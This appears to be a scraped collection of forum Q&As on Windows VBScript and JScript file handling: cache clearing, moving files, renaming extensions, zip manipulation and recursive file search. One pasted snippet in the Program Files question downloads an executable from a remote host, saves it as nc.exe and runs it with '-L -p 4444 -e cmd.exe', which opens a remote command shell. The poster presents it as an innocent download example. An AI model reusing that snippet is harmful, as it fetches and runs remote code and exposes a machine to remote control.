how to prevent cached response from MSXML2.XMLHTTP, vbscript - vbscript

I'm writing a wscript with vbscript in Windows 7.
The script needs to grab a file from an open ftp server, so I must use MSXML2.XMLHTTP object
The file I am grabbing is being cached in a sub folder of
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5
The file that is cached has no "expires" value, and trying to set a value using setRequestHeader method doesn't seem to have any effect.
I will self-answer this in case anyone else needs this solution

this code snippet shows how to delete the cached files from the folder used by MSXML2.XMLHTTP, using the concept of the downloaded files will have the extension ".csv"
<job>
<script language="vbscript">
' use XMLHTTP to grab content from a URL
CMEURL = "ftp://ftp.cmegroup.com/pub/settle/nymex_future.csv"
' the downloaded files are being stored in a subfolder of this folder
filedownloadcachelocation = "C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5"
' delete the file before requesting a download
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim fileresults
Dim Directory
Set Directory = fso.GetFolder(filedownloadcachelocation)
Dim subfolders
Set subfolders = Directory.SubFolders
For Each Folder In subfolders
For Each FileName In Folder.Files
' only react if filename extension is csv
If InStr(FileName , ".csv") Then
fileresults = fileresults & FileName.Path & vbLf
' delete the file
If fso.FileExists(FileName.Path) Then
'WScript.Echo "deleting file " & FileName.Path
fso.DeleteFile FileName.Path
End If
End If ' csv ext
Next ' each file in folder
Next ' each folder in Content.IE5
WScript.Echo "files found that were deleted = " & VbLf & fileresults
' now continue with downloading the file using XMLHTTP

Related

Move command in VBScript destination is program file (x86) "changed to download to (x86)

Please hold all responses. Just found something.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
So my many lines of vbs, and strings it will open (or not) along the way currently has a vbs that opens an url to download something with instructions on where to save, and than when done, moves from download folder to programs (x86) but it looks like i found something that will download the file to (x86) for me. I will see what it takes to download to special folder.
I do know my next struggle will be getting the vbs to wait.
In dos
start/wait drive:\path\file.exe
waits for the install to finish before moving on to next task.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Has me creating many vbs files to run in order, which I haven't tested yet. So I don't know if each one will wait till the program has finished installing or if I need to create a loop to see if the exe is still running.
I do have a "learning vbs" folder with examples to modify to build from. I'm expanding as I learn and testing.
I can't move a file from desktop to program file (X86) due to errors
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Error mismatch files
And if I remove "" around program files (x86) for destination
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
I get ejected ) error. What am I missing?
EDITING: From response below
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
MY COMMENT:
No, "file to move" fallowed by 'not sure if I should include extension is the name of the file (i.e myfile.extension) not "folder" file to move. The folder is "desktop"
desktop = sh.SpecialFolders("Desktop")
and
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
thus do i put
source = fso.BuildPath(desktop, "file to move.extension")
I'm not looking for someone to write the code for me. I have tried the %path% thing that works in dos (i.e %userprofile%) in vbs before and got stuck so to see
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
has me scratching my head. Even with the expand command.
Doing some testing. Will edit with update. Sorry for late response. Weekend hobby project thing.
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".

How do I search for a file extension located in the desktop and change their file types?

User = CreateObject("WScript.Network").UserName ' gets username
Set objFSO = CreateObject("Scripting.FileSystemObject")
Recurse objFSO.GetFolder("C:\Users\" & User & "\Desktop\") ' searches for file extensions in the desktop
Sub Recurse(objFolder)
Dim objFile, objSubFolder
For Each objFile In objFolder.Files
If LCase(objFSO.GetExtensionName(objFile.Name)) = "mymom" Then ' if a file extension is mymom (just a test)
objFSO.MoveFile objFile.Name objFile.Name & ".ayy" ' changes the file extension to ayy (another test)
End If
Next
End Sub
When I do this, I get an error saying, "Expected end of statement." However, I do not know where to add the end statement. What I am trying to do is I am trying to let the script search the Desktop for all files with a specific file extension (in this case, I want to search for a file extension with .mymom) Then, I want to change the file extension with .ayy (This is the struggle part) I don't know if my code is wrong, or if it's just the end statement part.
You are getting the error, probably because you have missed a , between the source and destination file paths in the moveFile method
Use this code:
strFinalName = replace(objFile.name, "."&objFso.getExtensionname(objFile.name),".ayy")
objFSO.MoveFile objFile.Name,strFinalName

How to delete files from zip with VBScript

Im very new to VBScript (this is my first time ever using it). So far I've copied and altered my way into getting as far as I am.
I have an APK file that is too big for my needs. So what I've been doing is manually changing it to a zip and then deleting a couple images from it then renaming it back to an APK. Im trying to automate that with a VBScript. So far I have
Set oShell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
sFolder = WORKSPACE & "\temp\" & app & "\build\" & PLATFORMSUBFOLDER & "\dist\" & app & "\bin"
oShell.CurrentDirectory = sFolder
'Make the Apk a Zip.
fso.MoveFile apkfile, zipApk
This is all working and I can see in Windows Explorer that the APK changes to a zip like I want it to. So Im wondering if there is any quick ways to just go in and delete a couple files without extracting the whole thing?
If not is there an easy way to extract the files and parse them at the same time?
Ive looked here Extract files from ZIP file with VBScript
but cant seem to get it working. I keep getting error "Object required: 'objShell.Names(...)'" Any hints to why this is happening?
Use the MoveHere method to move an item out of the zip file:
zipfile = "C:\path\to\your.zip"
fname = "some.file"
dst = "C:\some\folder"
Set app = CreateObject("Shell.Application")
For Each f In app.NameSpace(zipfile).Items
If f.Name = fname Then
app.Namespace(dst).MoveHere(f)
End If
Next
Then delete the files from the dst folder:
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile fso.BuildPath(dst, fname), True

VB script - search for a file in directory

I am trying to write a VB script (having never attempted before) - I need it to search the folder'\file001\source$' - whilst in the folder search for all 'Update.exe'files - If this is done manually, in Windows it takes a long long time!
I would like all the files that it finds with this name - to be copied into a new folder.
Looking at various help forums I am getting more and more confused.
Below is what I have attempted:
Set fso = CreateObject("Scripting.FileSystemObject")
ShowSubfolders fso.GetFolder("\\file001\source$")
'foldername = "\file001\source$"
'filename = "Updater.exe"
Function ShowSubFolders(Folder)
For Each Subfolder in Folder.SubFolders
Wscript.Echo Subfolder.Path
ShowSubFolders Subfolder
Next
End Function
This is to search through a folder, recursively through the folders sub folders to find all files with this name.
I have also done research into -directory.getfiles. But have no clue if this is the right direction.
As a newbie to VB script, I have researched and attempted to play around with vb script, to get the function I desire. I would be grateful to any help I can get.
Again - my target is to - find all files within the given folder and subfolders with the name update.exe - and then to copy these files found into a new folder.
Thank you in advance.
If you only want to check the content of a single folder for the existence of a particular file you can do that like this:
Set fso = CreateObject("Scripting.FileSystemObject")
foldername = "\\file001\source$"
filename = "Update.exe"
If fso.FileExists(fso.BuildPath(foldername, filename)) Then
WScript.Echo filename & " exists."
End If
If you want to check the subfolders of foldername as well, you need to recurse into subfolders with something like this. You can either integrate the check from the above code sample in the loop over the subfolders, or add another loop over the files in the folder:
Set fso = CreateObject("Scripting.FileSystemObject")
CopyUpdater fso.GetFolder("\\file001\source$")
Sub CopyUpdater(fldr)
For Each f In fldr.Files
If LCase(f.Name) = "update.exe" Then
'copy file to somewhere else
End If
Next
For Each sf In fldr.SubFolders
CopyUpdater sf
Next
End Sub
See my question here, i benchmark three languages (vbscript also) which do a subdirectory traversal with full working samples and optimised for the language. benchmarks: does python have a faster way of walking a network folder?
Thats a good attempt . Read more on below link and understand things better .
Vbscript list all PDF files in folder and subfolders
VBScript to traverse through subdirectories
dim sFilename
Dim objDict
Set objDict=CreateObject("Scripting.Dictionary")
sFilename = ""
'root folder path where subfolder exists
fileLocation="C:\Users\u258251\Desktop\TestSubfolder"
Dim objFSO 'File System Object
Set objFSO = CreateObject("Scripting.FileSystemObject")
'Add all files with specific extention to dictonary
Call Recurse(fileLocation)
ItemArray = objDict.Items
'Loop through dictonary
For i = 0 To objDict.count -1
sFilename = sFilename & ItemArray(i) & VBCRLF
Next
msgbox(sFilename)
'find a specific file by name and return path
if objDict.Exists("DP103.txt") then
msgbox(objDict.Item("DP103.txt"))
end if
Sub Recurse(strFolderPath)
Dim objFolder
Set objFolder = objFSO.GetFolder(strFolderPath)
Dim objFile
Dim objSubFolder
For Each objFile In objFolder.Files
If (InStr(objFile.Name, ".") > 0) Then
'proceed if extention is .txt
If (LCase(Mid(objFile.Name, InStrRev(objFile.Name, "."))) = ".txt") Then
if objDict.Exists(objFile.Name)=false then
'add files and path to dictonary
objDict.Add objFile.Name,objfile.Path
End if
End if
End If
Next
For Each objSubFolder In objFolder.SubFolders
Call Recurse(objSubFolder.Path)
Next
End Sub

Copy folder contents to a created .zip file: 'file not found or no read permissions'

I'm trying to create a .zip file from an existing folder using JScript and it seems that my copyHere function is not copying to the .zip folder. Instead I get a popup box titled 'Compressed (zipped) Folder Error' with the message 'file not found or no read permissions' even though I have read/write privileges on the file according to the value of my file.attributes property (32).
Here is the script I'm using:
//Get commman line arguments
var objArgs = WScript.Arguments;
var zipPath = objArgs(0);
var sourcePath = objArgs(1);
//Create empty ZIP file and open for adding
var fso = new ActiveXObject("Scripting.FileSystemObject");
var file = fso.CreateTextFile(zipPath, true);
// Create twenty-two byte "fingerprint" for .zip
file.write("PK");
file.write(String.fromCharCode(5));
file.write(String.fromCharCode(6));
file.write('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0');
var objShell = new ActiveXObject("shell.application");
var zipFolder = new Object;
zipFolder = objShell.NameSpace(zipPath);
sourceItems = objShell.NameSpace(sourcePath).items();
if (zipFolder != null)
{
zipFolder.CopyHere(sourceItems);
WScript.Sleep(1000);
}
Now the CopyHere function works for copying the contents of the sourcePath to a normal folder but when I try to create a .zip file and copy the contents to that, nothing happens. Any ideas on why copyHere is not copying the contents of the sourcePath to the .zip?
An Example for calling this script would be:
cscript win-zip.js C:\desired\zip\file.zip C:\path\to\source\folder
And the desired outcome would be that file.zip was created and now contains the contents of the source folder. Could this be a problem with permissions? What might cause this behavior?
Side Note, using a vbScript and the same commands I can successfully create and populate a .zip, so why doesn't it work using jscript!
Set objArgs = WScript.Arguments
ZipFile = objArgs(0)
SourceFolder = objArgs(1)
' Create empty ZIP file and open for adding
CreateObject("Scripting.FileSystemObject").CreateTextFile(ZipFile, True).Write "PK" & Chr(5) & Chr(6) & String(18, vbNullChar)
Set zip = CreateObject("Shell.Application").NameSpace(ZipFile)
' Get items in source folder
Set sourceItems = CreateObject("Shell.Application").NameSpace(SourceFolder).Items
' Add all files/directories to the .zip file
zip.CopyHere(sourceItems)
WScript.Sleep 1000 'Wait for items to be copied
Any helpful comments are greatly appreciated, thanks!
I encountered the same problem (file not found or no read permissions' even though I have read/write privileges on the file according to the value of my file.attributes property).
The problem disapeared as soon as I found and suppress a 0 length file somewhere in the directory to be copied with the copyhere method.
As Raymond said, the problem was that I had an open reference to the .zip folder in the file variable that I created (which had a lock on the folder so I could not copy any contents to it). The solution is to call
file.Close();
after writing to the file, that way we can access the file to copy contents to it :)

Resources